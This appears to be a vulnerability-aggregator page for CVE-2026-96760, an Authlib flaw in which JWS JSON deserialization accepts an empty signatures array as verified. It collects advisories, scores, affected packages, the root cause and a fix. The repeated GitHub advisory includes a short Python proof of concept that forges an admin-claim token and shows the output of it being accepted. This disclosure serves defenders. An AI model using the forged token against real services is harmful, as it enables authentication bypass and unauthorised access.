CVE-2026-96760
Authlib library contains a signature‑verification bypass vulnerability
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Authlib library contains a signature‑verification bypass vulnerability
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
- Record
CVE-2026-96760- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-347, CWE-670, CWE-358, CWE-20
- Updated
- 2026-11-02
EUVDEUVD-2026-88465
9.8
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
- Record
EUVD-2026-88465- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6m87-8wg6-hh8w
9.8
Duplicate Advisory: Authlib: empty signatures validation in JWS JSON deserialization
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6v38-4h7w-rj9h. This link is maintained to preserve external references.
Original Description
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
- Record
GHSA-6m87-8wg6-hh8w- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6v38-4h7w-rj9h
9.1
Authlib: empty signatures validation in JWS JSON deserialization
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
Root cause
authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:
is_valid = True # set before anything is checked
for header_obj in obj["signatures"]: # empty array means the body never runs
jws_header, valid = self._validate_json_jws(...)
if not valid:
is_valid = False
...
if is_valid:
return rv # returns the payload as verified
is_valid is initialised to True and only ever set to False from inside the loop. A JWS JSON
Serialization object whose signatures array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.
Reproduction
import base64
from authlib.jose import JsonWebSignature
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}
print(jws.deserialize_json(forged, key=None))
Observed on authlib 1.8.0, Python 3.14, clean virtualenv:
[A] ATTACK general JSON, signatures:[] , key=None
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK general JSON, signatures:[] , key=<real key>
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
rejected: DecodeError Missing "protected" value:
[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.
For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with BadSignatureError. The correct behaviour already exists in your newer
library.
Impact
Any relying party that calls JsonWebSignature.deserialize_json() on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material.
What would fix it
In _deserialize_json, reject an empty signatures array before the loop, or initialise the flag
from the signature count, for example is_valid = len(obj["signatures"]) > 0. Pull request #938
proposes the same thing.
- Record
GHSA-6v38-4h7w-rj9h- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
NVD
9.8
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
- Record
CVE-2026-96760- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-20, CWE-347, CWE-358, CWE-670
- Updated
- 2026-11-02
OSV
9.8
Authlib library contains a signature‑verification bypass vulnerability
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
- Record
CVE-2026-96760- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
Show 5 moreShow less
OSVDEBIAN-CVE-2026-96760
9.8
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
- Record
DEBIAN-CVE-2026-96760- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-6m87-8wg6-hh8w
9.8
Duplicate Advisory: Authlib: empty signatures validation in JWS JSON deserialization
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6v38-4h7w-rj9h. This link is maintained to preserve external references.
Original Description
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
- Record
GHSA-6m87-8wg6-hh8w- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVGHSA-6v38-4h7w-rj9h
9.1
Authlib: empty signatures validation in JWS JSON deserialization
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
Root cause
authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:
is_valid = True # set before anything is checked
for header_obj in obj["signatures"]: # empty array means the body never runs
jws_header, valid = self._validate_json_jws(...)
if not valid:
is_valid = False
...
if is_valid:
return rv # returns the payload as verified
is_valid is initialised to True and only ever set to False from inside the loop. A JWS JSON
Serialization object whose signatures array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.
Reproduction
import base64
from authlib.jose import JsonWebSignature
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}
print(jws.deserialize_json(forged, key=None))
Observed on authlib 1.8.0, Python 3.14, clean virtualenv:
[A] ATTACK general JSON, signatures:[] , key=None
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK general JSON, signatures:[] , key=<real key>
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
rejected: DecodeError Missing "protected" value:
[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.
For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with BadSignatureError. The correct behaviour already exists in your newer
library.
Impact
Any relying party that calls JsonWebSignature.deserialize_json() on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material.
What would fix it
In _deserialize_json, reject an empty signatures array before the loop, or initialise the flag
from the signature count, for example is_valid = len(obj["signatures"]) > 0. Pull request #938
proposes the same thing.
- Record
GHSA-6v38-4h7w-rj9h- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-96760
9.8
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
- Record
UBUNTU-CVE-2026-96760- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12390-1 No score
python313-Authlib-1.9.1-1.1 on GA media
These are all security issues fixed in the python313-Authlib-1.9.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12390-1- Updated
- 2026-11-03
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
authlibPyPI |
through 1.8.0 | 1.9.0 |
python-authlibDebian:12 |
All versions, plus listed versions 1.2.0-11.2.0-1+deb12u11.2.0-1+deb12u21.2.1-11.3.0-1 Show 23 moreShow less1.3.0-21.3.0-31.3.1-11.3.2-11.3.2-21.4.0-11.4.1-11.5.0-11.5.1-11.5.2-11.6.0-11.6.1-11.6.3-11.6.4-11.6.5-11.6.6-11.6.7-11.6.8-11.6.9-11.7.0-11.7.2-11.7.2-21.9.1-1 |
None known |
python-authlibDebian:13 |
All versions, plus listed versions 1.6.0-11.6.0-1+deb13u11.6.1-11.6.3-11.6.4-1 Show 9 moreShow less1.6.5-11.6.6-11.6.7-11.6.8-11.6.9-11.7.0-11.7.2-11.7.2-21.9.1-1 |
None known |
python-authlibDebian:14 |
before 1.9.1-1, plus listed versions 1.6.0-11.6.1-11.6.3-11.6.4-11.6.5-1 Show 7 moreShow less1.6.6-11.6.7-11.6.8-11.6.9-11.7.0-11.7.2-11.7.2-2 |
1.9.1-1 |
authlibPyPI |
before 1.9.0, plus listed versions 0.10.100.110.120.12.1 Show 45 moreShow less0.130.140.14.10.14.20.14.30.150.15.10.15.20.15.30.15.40.15.50.15.60.1rc00.20.2.10.30.40.4.10.50.5.10.60.70.80.91.0.01.0.0a11.0.0a21.0.0b11.0.0b21.0.0rc11.0.11.1.01.2.01.2.11.3.01.3.11.3.21.4.01.4.11.5.01.5.11.5.21.6.01.6.11.6.10 |
1.9.0 |
python-authlibUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 0.15.4-10.15.5-10.15.5-1ubuntu0.1~esm10.15.5-1ubuntu0.1~esm2 |
None known |
python-authlibUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 1.2.1-11.3.0-11.3.0-1ubuntu0.1~esm11.3.0-1ubuntu0.1~esm2 |
None known |
python-authlibUbuntu:26.10 |
All versions, plus listed versions 1.6.7-11.7.2-11.7.2-2 |
None known |
python-authlibUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 1.6.0-11.6.5-11.6.6-11.6.7-11.6.7-1ubuntu0.1~esm1 |
None known |
python-AuthlibopenSUSE:Tumbleweed From an advisory covering 10 CVEs |
before 1.9.1-1.1 | 1.9.1-1.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | uziii2208/CVE-2026-96760 | 2026-09-30 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, aliases, facts, references | OSV | |
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-96760 is a critical vulnerability (CVSS 9.8) in Authlib, published September 28, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in authlib 1.9.0.
References
github.com/authlib/authlib
kb.cert.org/vuls/id/762428
nvd.nist.gov/vuln/detail/CVE-2026-96760
github.com/advisories/GHSA-6m87-8wg6-hh8w
github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h
github.com/authlib/authlib/pull/938
Show 17 moreShow less
github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733
github.com/authlib/authlib/releases/tag/v1.9.0
github.com/advisories/GHSA-6v38-4h7w-rj9h
github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96760.json
security-tracker.debian.org/tracker/CVE-2026-96760
ubuntu.com/security/CVE-2026-96760
cve.org/CVERecord?id=CVE-2026-96760
suse.com/security/cve/CVE-2025-62706
suse.com/security/cve/CVE-2026-114614
suse.com/security/cve/CVE-2026-114615
suse.com/security/cve/CVE-2026-114616
suse.com/security/cve/CVE-2026-114617
suse.com/security/cve/CVE-2026-114618
suse.com/security/cve/CVE-2026-114619
suse.com/security/cve/CVE-2026-116672
suse.com/security/cve/CVE-2026-41425
suse.com/security/cve/CVE-2026-96760
Left out here: 14 versions. The JSON record has them.